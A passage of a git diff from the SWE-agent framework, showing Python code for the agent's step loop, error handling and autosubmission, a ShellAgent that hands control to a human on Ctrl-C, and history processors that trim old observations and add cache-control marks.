self._trajectory + + @property + def replay_config(self) -> BaseModel | None: + return self._replay_config + + @replay_config.setter + def replay_config(self, value: BaseModel): + # Do import here to avoid circular dependency + from sweagent.run.run_single import RunSingleConfig + + self._replay_config = RunSingleConfig.model_validate(_strip_abspath_from_dict(value.model_dump())) + + @property + def messages(self) -> list[dict[str, Any]]: + """Return the history of the agent for this attempt since the last reset, + processed through all history processors. + """ + filtered_history = [entry for entry in self.history if entry["agent"] == self.name] # type: ignore + + # Chain the history processors + messages = filtered_history + for processor in self.history_processors: + messages = processor(messages) + + return messages # type: ignore + + # Methods + # ------- + + def _append_history(self, item: dict[str, Any]) -> None: + """Adds an item to the history.""" + self._chook.on_query_message_added(**item) + self.history.append(item) # type: ignore + + def setup( + self, + env: SWEEnv, + problem_statement: ProblemStatement | ProblemStatementConfig, + output_dir: Path = Path("."), + ) -> None: + """Setup the agent for a new instance. This includes + formatting the system message and adding demonstrations to the history. + + This method is called by `self.run`. + """ + output_dir.mkdir(parents=True, exist_ok=True) + + # apply template configuration to multimodal problem statements + if hasattr(problem_statement, "type") and problem_statement.type == "swe_bench_multimodal": + from sweagent.agent.problem_statement import SWEBenchMultimodalProblemStatement + + if isinstance(problem_statement, SWEBenchMultimodalProblemStatement): + # apply the global disable_image_processing setting if it's not explicitly set + if not problem_statement.disable_image_processing and self.templates.disable_image_processing: + problem_statement.disable_image_processing = True + + self._problem_statement = problem_statement + self._env = env + iid = self._problem_statement.id + self.logger.info("Setting up agent for instance %s", iid) + + # Save/reset some attributes + self.traj_path = output_dir / (self._problem_statement.id + ".traj") + self.logger.info("Trajectory will be saved to %s", self.traj_path) + + self._chook.on_tools_installation_started() + self.tools.install(self._env) + self._chook.on_setup_attempt() + self.info = AgentInfo() + self.info["swe_agent_hash"] = get_agent_commit_hash() + self.info["swe_agent_version"] = __version__ + self.info["swe_rex_version"] = get_rex_version() + self.info["swe_rex_hash"] = get_rex_commit_hash() + assert self._env is not None + assert self._problem_statement is not None + self._env.set_env_variables({"PROBLEM_STATEMENT": self._problem_statement.get_problem_statement_for_env()}) + self.add_system_message_to_history() + self.add_demonstrations_to_history() + self.add_instance_template_to_history(state=self.tools.get_state(self._env)) + self._chook.on_setup_done() + + def add_system_message_to_history(self) -> None: + """Add system message to history""" + assert self._problem_statement is not None + system_msg = Template(self.templates.system_template).render(**self._get_format_dict()) + self.logger.info(f"SYSTEM ({self.name})\n{system_msg}") + self._append_history( + {"role": "system", "content": system_msg, "agent": self.name, "message_type": "system_prompt"} + ) + + def add_demonstrations_to_history(self) -> None: + """Add demonstrations to history""" + for demonstration_path in self.templates.demonstrations: + self._add_demonstration_to_history(demonstration_path) + + def _add_demonstration_to_history(self, demonstration_path: Path) -> None: + """Load demonstration from disk and add to history""" + if self.templates.demonstration_template is None and not self.templates.put_demos_in_history: + msg = "Cannot use demonstrations without a demonstration template or put_demos_in_history=True" + raise ValueError(msg) + + # Load history + self.logger.info(f"DEMONSTRATION: {demonstration_path}") + _demo_text = Path(demonstration_path).read_text() + if demonstration_path.suffix == ".yaml": + demo_history = yaml.safe_load(_demo_text)["history"] + else: + demo_history = json.loads(_demo_text)["history"] + + if self.templates.put_demos_in_history: + # Add demonstrations to history step-by-step + for entry in demo_history: + if entry["role"] != "system": + entry["is_demo"] = True + self._append_history(entry) + else: + # Add demonstration as single message to history + demo_history = [entry for entry in demo_history if entry["role"] != "system"] + demo_message = "\n".join([entry["content"] for entry in demo_history]) + assert self.templates.demonstration_template is not None + demonstration = Template(self.templates.demonstration_template).render(demonstration=demo_message) + self._append_history( + { + "agent": self.name, + "content": demonstration, + "is_demo": True, + "role": "user", + "message_type": "demonstration", + }, + ) + + def _get_format_dict(self, **kwargs) -> dict[str, Any]: + """Get the dictionary of key value pairs used to format the templates + + Args: + **kwargs: additional keyword arguments to be added to the format dictionary + """ + assert self._problem_statement is not None + assert self._env is not None + return dict( + command_docs=self.tools.config.command_docs, + **self.tools.config.env_variables, + **kwargs, + problem_statement=self._problem_statement.get_problem_statement(), + repo=self._env.repo.repo_name if self._env.repo is not None else "", + **self._problem_statement.get_extra_fields(), + ) + + def _add_templated_messages_to_history( + self, templates: list[str], tool_call_ids: list[str] | None = None, **kwargs: str | int | None + ) -> None: + """Populate selected template(s) with information (e.g., issue, arguments, state) + and add to history. + + Args: + templates: templates to populate and add to history + tool_call_ids: tool call ids to be added to the history + **kwargs: keyword arguments to be passed to the templates (in addition to the + ones in `self._get_format_dict`) + """ + messages = [] + + format_dict = self._get_format_dict(**kwargs) + for template in templates: + try: + messages.append(Template(template).render(**format_dict)) + except KeyError: + self.logger.debug("The following keys are available: %s", format_dict.keys()) + raise + + message = "\n".join(messages) + + # We disable syntax highlighting here, because some inputs can lead to a complete cross-thread + # freeze in the agent. See https://github.com/SWE-agent/SWE-agent/issues/901 . + self.logger.info(f"🤖 MODEL INPUT\n{message}", extra={"highlighter": None}) + history_item: dict[str, Any] = { + "role": "user", + "content": message, + "agent": self.name, + "message_type": "observation", + } + if tool_call_ids: + assert len(tool_call_ids) == 1, "This should be ensured by the FunctionCalling parse method" + history_item["role"] = "tool" + history_item["tool_call_ids"] = tool_call_ids + self._append_history(history_item) + + def add_step_to_history(self, step: StepOutput) -> None: + """Adds a step (command that was run and output) to the model history""" + self._append_history( + { + "role": "assistant", + "content": step.output, + "thought": step.thought, + "action": step.action, + "agent": self.name, + "tool_calls": step.tool_calls, + "message_type": "action", + "thinking_blocks": step.thinking_blocks, + }, + ) + + elided_chars = 0 + if step.observation.strip() == "": + # Show no output template if observation content was empty + templates = [self.templates.next_step_no_output_template] + elif len(step.observation) > self.templates.max_observation_length: + templates = [self.templates.next_step_truncated_observation_template] + elided_chars = len(step.observation) - self.templates.max_observation_length + else: + # Show standard output template if there is observation content + templates = [self.templates.next_step_template] + self._add_templated_messages_to_history( + templates, + observation=step.observation, + elided_chars=elided_chars, + max_observation_length=self.templates.max_observation_length, + tool_call_ids=step.tool_call_ids, + **step.state, + ) + + def add_instance_template_to_history(self, state: dict[str, str]) -> None: + """Add observation to history, as well as the instance template or demonstrations if we're + at the start of a new attempt. + """ + templates: list[str] = [] + # Determine observation template based on what prior observation was + assert self.history[-1]["role"] == "system" or self.history[-1].get("is_demo", False) + # Show instance template if prev. obs. was initial system message + templates = [self.templates.instance_template] + if self.templates.strategy_template is not None: + templates.append(self.templates.strategy_template) + + self._add_templated_messages_to_history(templates, **state) # type: ignore + + def get_trajectory_data(self) -> dict[str, Any]: + """Get all data that we save in .traj files.""" + + assert self._env is not None + # The deepcopy here is important because else the + # data["info"]["model_stats"] update will create havoc! + attempt_data = copy.deepcopy( + { + "trajectory": self.trajectory, + "history": self.history, + "info": self.info, + } + ) + attempt_data["replay_config"] = self.replay_config.model_dump_json() if self.replay_config is not None else None + attempt_data["environment"] = self._env.name + return attempt_data + + def save_trajectory( + self, + ) -> None: + """Save the trajectory to disk. + This includes the history, the environment state, and the model stats. + """ + data = self.get_trajectory_data() + assert self.traj_path is not None + self.traj_path.write_text(json.dumps(data, indent=2)) + + def get_model_requery_history( + self, error_template: str, *, output: str, **kwargs: str | int | float | bool | None + ) -> list[dict[str, str]]: + """Ask the model to correct after a hitting one of the following errors: + + 1. Malformatted output (could not parse action) + 2. Blocked action (command is on the blocklist) + 3. Bash command syntax error + + At the time this function is called, the proposed action and observation are not part of the history + yet. + + This function adds temporary history based on the error template and queries the model. + If the model is able to correct itself, the records of the mistakes will not be part of the history + (but they are saved in the trajectory). + + Args: + error_template: error template + output: model output + **kwargs: keyword arguments to be passed to the error template + + Returns: + model output after requery + """ + format_dict = {**kwargs, **self._get_format_dict()} + error_template = Template(error_template).render(**format_dict) + + self.logger.warning(f"{error_template}") + + return self.messages + [ + {"role": "assistant", "content": output, "agent": self.name, "message_type": "assistant"}, + {"role": "user", "content": error_template, "agent": self.name, "message_type": "user"}, + ] + + def attempt_autosubmission_after_error(self, step: StepOutput) -> StepOutput: + """For most exceptions, we attempt to still extract the patch and submit that. + This means we send the `submit` command to the runtime and parse the output. + """ + self.logger.warning("Attempting autosubmission after error") + step = step.model_copy(deep=True) + step.done = True + assert self._env is not None + if not asyncio.run(self._env.deployment.is_alive(timeout=10)): + # The agent is dead. This is very bad. Maybe we can take a 'diff' that was saved + # for a previous step? (if running with diff in tools) + self.logger.error("Runtime is no longer alive") + try: + last_trajectory_step = self.trajectory[-1] + except IndexError: + self.logger.info("No last trajectory step to extract patch from") + return step + if "diff" not in last_trajectory_step["state"]: + self.logger.info("No diff in last trajectory step state, cannot autosubmit") + return step + diff = last_trajectory_step["state"]["diff"] + self.logger.info("Using diff from last trajectory step to autosubmit") + step.submission = diff + if step.submission: + step.observation = "Environment died unexpectedly. Exited (autosubmitted)" + step.exit_status = f"submitted ({step.exit_status})" + else: + self.logger.info("Diff from last traj step empty.") + return step + # Let us manually run the submission command and collect the output + repo_name = "/" + if self._env.repo is not None: + repo_name = f"/{self._env.repo.repo_name}" + submission_command = "git add -A && git diff --cached > /root/model.patch" + self.logger.info("Executing submission command %s in %s", submission_command, repo_name) + try: + self._env.execute_command(submission_command, check=True, cwd=repo_name) + except Exception as e: + self.logger.error("Failed to execute submission command, got %s", e) + # There's still hope for the submission, because the `/root/model.patch` file might have been + # generated by the state command + step = self.handle_submission(step, observation="", force_submission=True) + if step.submission: + self.logger.info("Exiting with autosubmission") + step.observation = "Exited (autosubmitted)" + return step + + def handle_submission(self, step: StepOutput, *, observation="", force_submission: bool = False) -> StepOutput: + """Check if there was a submission in the observation and handle it. + + Args: + step: + observation: If specified, will use this rather than stepobservation + force_submission: If True, will always submit even if no submission is found + + Returns: + step: step with submission and observation updated (if submission was found) + """ + step = step.model_copy(deep=True) + assert self.tools is not None + is_submission = self.tools.check_for_submission_cmd(observation or step.observation) + if is_submission or force_submission: + assert self._env is not None + try: + submission = self._env.read_file("/root/model.patch", encoding="utf-8", errors="backslashreplace") + except FileNotFoundError: + self.logger.warning("Submission file not found, no submission was made") + return step + except Exception as e: + self.logger.exception("Failed to read submission file, got %s", e) + return step + if submission.strip() != "": + step.submission = submission + else: + step.submission = None + step.observation = submission + if not step.exit_status: + step.exit_status = "submitted" + elif step.submission: + step.exit_status = f"submitted ({step.exit_status})" + step.done = True + self.logger.info(f"Found submission: {submission}") + return step + + def _get_edited_files_with_context(self, patch: str) -> dict[str, str]: + """Get the edited files with context from the patch""" + assert self._env is not None + try: + if self._env.repo is None: + pf = None + else: + pf = ( + PatchFormatter( + patch, + read_method=lambda path: self._env.read_file( # type: ignore[attr-defined] + PurePosixPath("/") / self._env.repo.repo_name / path # type: ignore[attr-defined] + ), + ) + if patch + else None + ) + except UnidiffParseError: + self.logger.error("Failed to parse patch with unidiff. Some variables will be empty.") + pf = None + # We still need to populate the variables + out = {} + for context_length in [30, 50, 70]: + value = "Empty. No edited files found." + if pf is not None: + value = pf.get_files_str(original=False, context_length=context_length) + out[f"edited_files{context_length}"] = value + return out + + def handle_action(self, step: StepOutput) -> StepOutput: + """Runs an action proposed by the agent in the environment and returns the corresponding output. + + Args: + action: command to run in bash shell + output: output from model (only used for error handling) + + Returns: + action_execution_output: action execution output + """ + if self.tools.should_block_action(step.action): + raise _BlockedActionError() + + if step.action.strip() == "exit": + self.logger.info("Exiting agent") + step.done = True + step.observation = "Exited" + step.exit_status = "exit_command" + assert self._env is not None + step.state = self.tools.get_state(env=self._env) # for history + return step + + assert self._env is not None + self._chook.on_action_started(step=step) + execution_t0 = time.perf_counter() + run_action: str = self.tools.guard_multiline_input(step.action).strip() + try: + step.observation = self._env.communicate( + input=run_action, + timeout=self.tools.config.execution_timeout, + check="raise" if self._always_require_zero_exit_code else "ignore", + ) + except CommandTimeoutError: + self._n_consecutive_timeouts += 1 + if self._n_consecutive_timeouts >= self.tools.config.max_consecutive_execution_timeouts: + msg = "Exiting agent due to too many consecutive execution timeouts" + self.logger.critical(msg) + step.execution_time = time.perf_counter() - execution_t0 + self._total_execution_time += step.execution_time + raise + try: + self._env.interrupt_session() + except Exception as f: + self.logger.exception("Failed to interrupt session after command timeout: %s", f, exc_info=True) + step.execution_time = time.perf_counter() - execution_t0 + self._total_execution_time += step.execution_time + raise + step.observation = Template(self.templates.command_cancelled_timeout_template).render( + **self._get_format_dict(), + timeout=self.tools.config.execution_timeout, + command=run_action, + ) + else: + self._n_consecutive_timeouts = 0 + step.execution_time = time.perf_counter() - execution_t0 + self._total_execution_time += step.execution_time + self._chook.on_action_executed(step=step) + step.state = self.tools.get_state(env=self._env) + + if RETRY_WITH_OUTPUT_TOKEN in step.observation: + step.observation = step.observation.replace(RETRY_WITH_OUTPUT_TOKEN, "") + raise _RetryWithOutput() + elif RETRY_WITHOUT_OUTPUT_TOKEN in step.observation: + step.observation = step.observation.replace(RETRY_WITHOUT_OUTPUT_TOKEN, "") + raise _RetryWithoutOutput() + elif EXIT_FORFEIT_TOKEN in step.observation: + raise _ExitForfeit() + + return self.handle_submission(step) + + def forward(self, history: list[dict[str, str]]) -> StepOutput: + """Forward the model without handling errors. + + All exceptions raised will contain the `StepOutput` object + with some of the attributes set. + + Args: + history: history to query the model with + + Returns: + step_output: step output + """ + if self._total_execution_time > self.tools.config.total_execution_timeout: + raise _TotalExecutionTimeExceeded() + + # we continuously add actions, output etc. to the step object + # because some of the specific exception handling requires some of these + # attributes (e.g., if we want to requery the model for a bash syntax error, we + # need to have the previous model output to format the requery template) + step = StepOutput() + step.query = copy.deepcopy(history) + try: + # Forward model and get actions + self._chook.on_model_query(messages=history, agent=self.name) + # todo: Add all options to the extra info + if self._action_sampler is not None: + assert self._problem_statement is not None + best = self._action_sampler.get_action( + problem_statement=self._problem_statement, + trajectory=self.trajectory, + history=history, + ) + output = best.completion + # todo: Handle history and trajectory + step.extra_info.update(best.extra_info) + else: + output = self.model.query(history) # type: ignore + step.output = output["message"] + # todo: Can't I override the parser in __init__? + step.thought, step.action = self.tools.parse_actions(output) + step.thinking_blocks = output.get("thinking_blocks", []) + if output.get("tool_calls") is not None: + step.tool_call_ids = [call["id"] for call in output["tool_calls"]] + step.tool_calls = output["tool_calls"] + self.logger.info(f"💭 THOUGHT\n{step.thought}\n\n🎬 ACTION\n{step.action.strip()}") + self._chook.on_actions_generated(step=step) + return self.handle_action(step) + except Exception as e: + if step.action == step.thought == "": + # Probably the parsing failed/no action included. Let's still fill in thought + # so that trajectory viewers have something to show us for this step. + step.thought = step.output + # Attach the step object to the exception + e.step = step # type: ignore + raise + + def forward_with_handling(self, history: list[dict[str, str]]) -> StepOutput: + """Forward the model and handle errors, requerying the model if we can. + For example, if the model outputs a bash command that has syntax errors, + we will not execute it but requery the model for a corrected command. + + Note: This will update the trajectory, but not the history. + + Args: + history: history to forward + + Returns: + step_output: step output + """ + + def handle_error_with_autosubmission(exit_status: str, message: str) -> StepOutput: + """Attempts to autosubmit (extract patch from the environment) and stops the loop.""" + self.logger.warning(message) + return self.attempt_autosubmission_after_error( + StepOutput( + thought=message, + exit_status=exit_status, + output=message, + done=True, + ) + ) + + def handle_error_with_retry(exception: Exception, template: str, n_requeries: int) -> list[dict[str, str]]: + """Requeries the model if the error is a format/blocklist/bash syntax error.""" + self.logger.warning("Requerying model after %s (%dth requery)", type(exception).__name__, n_requeries) + step: StepOutput = getattr(exception, "step", StepOutput()) + self.add_step_to_trajectory(step) + exception_message = getattr(exception, "message", "") + if not exception_message: + try: + exception_message = exception.args[0] + except (IndexError, AttributeError): + pass + return self.get_model_requery_history( + error_template=template, + **step.to_template_format_dict(), + **getattr(exception, "extra_info", {}), + exception_message=exception_message, + ) + + n_format_fails = 0 + while n_format_fails < self.max_requeries: + try: + return self.forward(history) + + # Errors that are raised + + except KeyboardInterrupt: + raise + except EOFError: + raise + + # Errors that cause requery + + except FormatError as e: + n_format_fails += 1 + history = handle_error_with_retry( + exception=e, template=self.tools.config.format_error_template, n_requeries=n_format_fails + ) + except _BlockedActionError as e: + n_format_fails += 1 + history = handle_error_with_retry( + exception=e, template=self.tools.config.filter.blocklist_error_template, n_requeries=n_format_fails + ) + except ContentPolicyViolationError: + self.logger.warning("Content policy violation, trying to resample") + n_format_fails += 1 + # Try if simply resampling helps here + pass + except BashIncorrectSyntaxError as e: + n_format_fails += 1 + history = handle_error_with_retry( + exception=e, + template=self.templates.shell_check_error_template, + n_requeries=n_format_fails, + ) + except _RetryWithOutput as e: + history = handle_error_with_retry( + exception=e, + template=self.templates.next_step_template, + n_requeries=n_format_fails, + ) + except _RetryWithoutOutput: + pass + # Requery with the same template as the last step + + # Errors that cause exit + + except _ExitForfeit: + self.logger.info("Exiting due to forfeit") + return handle_error_with_autosubmission( + "exit_forfeit", + "Exiting due to forfeit", + ) + + except _TotalExecutionTimeExceeded: + self.logger.exception("Exiting due to total execution time exceeded", exc_info=True) + return handle_error_with_autosubmission( + "exit_total_execution_time", + "Exit due to total execution time exceeded", + ) + + except CommandTimeoutError: + self.logger.exception("Exiting due to multiple consecutive command timeouts", exc_info=True) + return handle_error_with_autosubmission( + "exit_command_timeout", + "Exit due to multiple consecutive command timeouts", + ) + + except ContextWindowExceededError: + return handle_error_with_autosubmission( + "exit_context", + "Exit due to context window", + ) + except TotalCostLimitExceededError: + raise + except CostLimitExceededError: + return handle_error_with_autosubmission( + "exit_cost", + "Exit due to cost limit", + ) + except RetryError as e: + self.logger.exception(f"Exiting due to retry error: {e}", exc_info=True) + return handle_error_with_autosubmission( + "exit_api", + f"Exit due to retry error: {e}", + ) + except SwerexException as e: + self.logger.exception(f"Exiting due to environment error: {e}", exc_info=True) + return handle_error_with_autosubmission( + "exit_environment_error", + f"Exit due to environment error: {e}", + ) + except RuntimeError as e: + self.logger.exception(f"Exiting due to runtime error: {e}", exc_info=True) + return handle_error_with_autosubmission( + "exit_error", + f"Exit due to runtime error: {e}", + ) + except Exception as e: + self.logger.exception(f"Exiting due to unknown error: {e}", exc_info=True) + return handle_error_with_autosubmission( + "exit_error", + f"Exit due to unknown error: {e}", + ) + self.logger.exception( + "Exit due to repeated format/blocklist/bash syntax errors", + exc_info=True, + ) + return handle_error_with_autosubmission( + "exit_format", + "Exit due to repeated format/blocklist/bash syntax errors", + ) + + def add_step_to_trajectory(self, step: StepOutput) -> None: + trajectory_step = TrajectoryStep( + { + "action": step.action, + "observation": step.observation, + "response": step.output, + "thought": step.thought, + "execution_time": step.execution_time, + "state": step.state, + "query": step.query, + "extra_info": step.extra_info, + }, + ) + self.trajectory.append(trajectory_step) + + def step(self) -> StepOutput: + """Run a step of the agent. This is a wrapper around `self.forward_with_handling` + with additional bookkeeping: + + 1. Update message history with performed action and observation + 2. Update trajectory with the final executed result + 3. Update the info dictionary + + Returns: + step_output: step output (same as the output of `self.forward_with_handling`) + """ + + assert self._env is not None + self._chook.on_step_start() + + n_step = len(self.trajectory) + 1 + self.logger.info("=" * 25 + f" STEP {n_step} " + "=" * 25) + step_output = self.forward_with_handling(self.messages) + self.add_step_to_history(step_output) + + self.info["submission"] = step_output.submission + self.info["exit_status"] = step_output.exit_status # type: ignore + self.info.update(self._get_edited_files_with_context(patch=step_output.submission or "")) # type: ignore + self.info["model_stats"] = self.model.stats.model_dump() + + self.add_step_to_trajectory(step_output) + + self._chook.on_step_done(step=step_output, info=self.info) + return step_output + + def run( + self, + env: SWEEnv, + problem_statement: ProblemStatement | ProblemStatementConfig, + output_dir: Path = Path("."), + ) -> AgentRunResult: + """Run the agent on a problem instance. This method contains the + main loop that repeatedly calls `self._step` until the problem is solved. + + Args: + setup_args: Arguments to pass to the agent's setup method. + env: The environment to run the agent on. + traj_dir: Directory to save the trajectory to + """ + self.setup(env=env, problem_statement=problem_statement, output_dir=output_dir) + + # Run action/observation loop + self._chook.on_run_start() + step_output = StepOutput() + while not step_output.done: + step_output = self.step() + self.save_trajectory() + self._chook.on_run_done(trajectory=self.trajectory, info=self.info) + + self.logger.info("Trajectory saved to %s", self.traj_path) + + # Here we want to return the "global" information (e.g., submission should + # be the best submission instead of the last one, etc.), so we get it from the traj file + data = self.get_trajectory_data() + return AgentRunResult(info=data["info"], trajectory=data["trajectory"]) diff --git a/sweagent/agent/extra/shell_agent.py b/sweagent/agent/extra/shell_agent.py new file mode 100644 index 0000000..ec38c9e --- /dev/null +++ b/sweagent/agent/extra/shell_agent.py @@ -0,0 +1,106 @@ +from pathlib import Path +from typing import Self + +from sweagent.agent.agents import DefaultAgent, ShellAgentConfig +from sweagent.agent.models import HumanModel, HumanModelConfig, get_model +from sweagent.agent.problem_statement import ProblemStatement, ProblemStatementConfig +from sweagent.environment.swe_env import SWEEnv +from sweagent.tools.parsing import ActionOnlyParser +from sweagent.tools.tools import ToolHandler +from sweagent.types import AgentRunResult, StepOutput + + +class ShellAgent(DefaultAgent): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + @classmethod + def from_config(cls, config: ShellAgentConfig) -> Self: + # To ensure that all models stay completely independent, we deepcopy the + # model config, because it lives on as a property in the model, tools, etc. + config = config.model_copy(deep=True) + model = get_model(config.model, config.tools) + return cls( + templates=config.templates, + tools=ToolHandler(config.tools), + history_processors=config.history_processors, + model=model, + max_requeries=config.max_requeries, + ) + + def human_step_in(self) -> None: + """Replace the current model with a HumanModel instance. + This allows for human intervention during agent execution. + """ + self._original_model = self.model + self._original_parser = self.tools.config.parse_function + + human_config = HumanModelConfig(name="human", catch_eof=False) + self.model = get_model(human_config, self.tools.config) + self.tools.config.parse_function = ActionOnlyParser() + + self.logger.info("Switched to human mode. Agent will now accept human input. Press ^D to switch back.") + + def human_step_out(self) -> None: + """Switch back to the original model from human mode. + This is called when ^D is pressed in human mode. + """ + if not hasattr(self, "_original_model") or self._original_model is None: + self.logger.info("No previous model to switch back to. Remaining in current mode.") + return + + self.model = self._original_model + self.tools.config.parse_function = self._original_parser # type: ignore + self._original_model = None + self._original_parser = None + + self.logger.info("Switched back to AI model mode.") + + def run( + self, + env: SWEEnv, + problem_statement: ProblemStatement | ProblemStatementConfig, + *, + output_dir: Path = Path("."), + ) -> AgentRunResult: + """Run the agent on a problem instance. This method contains the + main loop that repeatedly calls `self._step` until the problem is solved. + + Args: + setup_args: Arguments to pass to the agent's setup method. + env: The environment to run the agent on. + traj_dir: Directory to save the trajectory to + interruptible: Whether the human can jump in by pressing ^C + """ + self.setup(env=env, problem_statement=problem_statement, output_dir=output_dir) + + # Run action/observation loop + self._chook.on_run_start() + step_output = StepOutput() + while not step_output.done: + try: + step_output = self.step() + self.save_trajectory() + except KeyboardInterrupt: + if not isinstance(self.model, HumanModel): + self.human_step_in() + continue + raise + except EOFError: + # Can only happen if we have a human model, so switch back + self.logger.info("Detected ^D - switching back to AI mode") + self.human_step_out() + continue + if step_output.done and not isinstance(self.model, HumanModel): + # Human has to submit the solution + self.logger.info("Robot is done! Please submit the solution.") + self.human_step_in() + step_output.done = False + self._chook.on_run_done(trajectory=self.trajectory, info=self.info) + + self.logger.info("Trajectory saved to %s", self.traj_path) + + # Here we want to return the "global" information (e.g., submission should + # be the best submission instead of the last one, etc.), so we get it from the traj file + data = self.get_trajectory_data() + return AgentRunResult(info=data["info"], trajectory=data["trajectory"]) diff --git a/sweagent/agent/history_processors.py b/sweagent/agent/history_processors.py new file mode 100644 index 0000000..2ca8c03 --- /dev/null +++ b/sweagent/agent/history_processors.py @@ -0,0 +1,399 @@ +from __future__ import annotations + +import copy +import re +from abc import abstractmethod +from typing import Annotated, Literal, Protocol + +from pydantic import BaseModel, ConfigDict, Field, field_validator + +from sweagent.types import History, HistoryItem + + +class AbstractHistoryProcessor(Protocol): + @abstractmethod + def __call__(self, history: History) -> History: + raise NotImplementedError + + +# Utility functions +# ----------------- + + +def _get_content_stats(entry: HistoryItem) -> tuple[int, int]: + if isinstance(entry["content"], str): + return len(entry["content"].splitlines()), 0 + n_text_lines = sum(len(item["text"].splitlines()) for item in entry["content"] if item.get("type") == "text") + n_images = sum(1 for item in entry["content"] if item.get("type") == "image_url") + return n_text_lines, n_images + + +def _get_content_text(entry: HistoryItem) -> str: + if isinstance(entry["content"], str): + return entry["content"] + assert len(entry["content"]) == 1, "Expected single message in content" + return entry["content"][0]["text"] + + +def _set_content_text(entry: HistoryItem, text: str) -> None: + if isinstance(entry["content"], str): + entry["content"] = text + else: + assert len(entry["content"]) == 1, "Expected single message in content" + entry["content"][0]["text"] = text + + +def _clear_cache_control(entry: HistoryItem) -> None: + if isinstance(entry["content"], list): + for item in entry["content"]: + item.pop("cache_control", None) + entry.pop("cache_control", None) + + +def _set_cache_control(entry: HistoryItem) -> None: + if not isinstance(entry["content"], list): + entry["content"] = [ # type: ignore + { + "type": "text", + "text": _get_content_text(entry), + "cache_control": {"type": "ephemeral"}, + } + ] + else: + entry["content"][0]["cache_control"] = {"type": "ephemeral"} + if entry["role"] == "tool": + # Workaround for weird bug + entry["content"][0].pop("cache_control", None) + entry["cache_control"] = {"type": "ephemeral"} + + +# History processors +# ------------------ + + +class DefaultHistoryProcessor(BaseModel): + type: Literal["default"] = "default" + """Do not change. Used for (de)serialization.""" + + # pydantic config + model_config = ConfigDict(extra="forbid") + + def __call__(self, history: History) -> History: + return history + + +class LastNObservations(BaseModel): + """Elide all but the last n observations or remove tagged observations. + + This is our most classic history processor, used in the original paper + to elide but the last 5 observations. + Elided observations are replaced by "Old environment output: (n lines omitted)". + + Typical configuration: + + ```yaml + agent: + history_processors: + - type: last_n_observations + n: 5 + ``` + + as for example in use in the SWE-agent 0.7 config at + https://github.com/SWE-agent/SWE-agent/blob/main/config/sweagent_0_7/07.yaml + + For most use cases, you only need to set `n`. + + Note that using this history processor will break prompt caching (as the + history of every query will change every time due to the elided observations). + There are some workarounds possible with the `polling` parameter. + + However, most SotA models can now fit a lot of context, so generally this + history processor is not always needed anymore. + """ + + n: int + """Number of observations to keep.""" + + polling: int = 1 + """How many steps to keep between updating the number of observations to keep. + This is useful for caching, as we want to remove more and more messages, but every + time we change the history, we need to cache everything again. + Effectively, we will now keep between `n` and `n+polling` observations. + """ + + always_remove_output_for_tags: set[str] = {"remove_output"} + """Any observation with a `tags` field containing one of these strings will be elided, + even if it is one of the last n observations. + """ + + always_keep_output_for_tags: set[str] = {"keep_output"} + """Any observation with a `tags` field containing one of these strings will be kept, + even if it is not one of the last n observations. + """ + + type: Literal["last_n_observations"] = "last_n_observations" + """Do not change. Used for (de)serialization.""" + + # pydantic config + model_config = ConfigDict(extra="forbid") + + @field_validator("n") + def validate_n(cls, n: int) -> int: + if n <= 0: + msg = "n must be a positive integer" + raise ValueError(msg) + return n + + def _get_omit_indices(self, history: History) -> list[int]: + observation_indices = [ + idx + for idx, entry in enumerate(history) + if entry.get("message_type") == "observation" and not entry.get("is_demo", False) + ] + last_removed_idx = max(0, (len(observation_indices) // self.polling) * self.polling - self.n) + # Note: We never remove the first observation, as it is the instance template + return observation_indices[1:last_removed_idx] + + def __call__(self, history: History) -> History: + new_history = [] + omit_content_idxs = self._get_omit_indices(history) + for idx, entry in enumerate(history): + tags = set(entry.get("tags", [])) + if ((idx not in omit_content_idxs) or (tags & self.always_keep_output_for_tags)) and not ( + tags & self.always_remove_output_for_tags + ): + new_history.append(entry) + else: + data = entry.copy() + assert data.get("message_type") == "observation", ( + f"Expected observation for dropped entry, got: {data.get('message_type')}" + ) + num_text_lines, num_images = _get_content_stats(data) + data["content"] = f"Old environment output: ({num_text_lines} lines omitted)" + if num_images > 0: + data["content"] += f" ({num_images} images omitted)" + new_history.append(data) + return new_history + + +class TagToolCallObservations(BaseModel): + """Adds tags to history items for specific tool calls.""" + + type: Literal["tag_tool_call_observations"] = "tag_tool_call_observations" + """Do not change. Used for (de)serialization.""" + + tags: set[str] = {"keep_output"} + """Add the following tag to all observations matching the search criteria.""" + + function_names: set[str] = set() + """Only consider observations made by tools with these names.""" + + # pydantic config + model_config = ConfigDict(extra="forbid") + + def _add_tags(self, entry: HistoryItem) -> None: + tags = set(entry.get("tags", [])) + tags.update(self.tags) + entry["tags"] = list(tags) + + def _should_add_tags(self, entry: HistoryItem) -> bool: + if entry.get("message_type") != "action": + return False + function_calls = entry.get("tool_calls", []) + if not function_calls: + return False + function_names = {call["function"]["name"] for call in function_calls} # type: ignore + return bool(self.function_names & function_names) + + def __call__(self, history: History) -> History: + for entry in history: + if self._should_add_tags(entry): + self._add_tags(entry) + return history + + +class ClosedWindowHistoryProcessor(BaseModel): + """For each value in history, keep track of which windows have been shown. + We want to mark windows that should stay open (they're the last window for a particular file) + Then we'll replace all other windows with a simple summary of the window (i.e. number of lines) + """ + + type: Literal["closed_window"] = "closed_window" + """Do not change. Used for (de)serialization.""" + + _pattern = re.compile(r"^(\d+)\:.*?(\n|$)", re.MULTILINE) + _file_pattern = re.compile(r"\[File:\s+(.*)\s+\(\d+\s+lines\ total\)\]") + + # pydantic config + model_config = ConfigDict(extra="forbid") + + def __call__(self, history): + new_history = list() + windows = set() + for entry in reversed(history): + data = entry.copy() + if data["role"] != "user": + new_history.append(entry) + continue + if data.get("is_demo", False): + new_history.append(entry) + continue + matches = list(self._pattern.finditer(entry["content"])) + if len(matches) >= 1: + file_match = self._file_pattern.search(entry["content"]) + if file_match: + file = file_match.group(1) + else: + continue + if file in windows: + start = matches[0].start() + end = matches[-1].end() + data["content"] = ( + entry["content"][:start] + + f"Outdated window with {len(matches)} lines omitted...\n" + + entry["content"][end:] + ) + windows.add(file) + new_history.append(data) + return list(reversed(new_history)) + + +class CacheControlHistoryProcessor(BaseModel): + """This history processor adds manual cache control marks to the history. + Use this when running with anthropic claude. + """ + + type: Literal["cache_control"] = "cache_control" + """Do not change. Used for (de)serialization.""" + + last_n_messages: int = 2 + """Add cache control to the last n user messages (and clear it for anything else). + In most cases this should be set to 2 (caching for multi-turn conversations). + When resampling and running concurrent instances, you want to set it 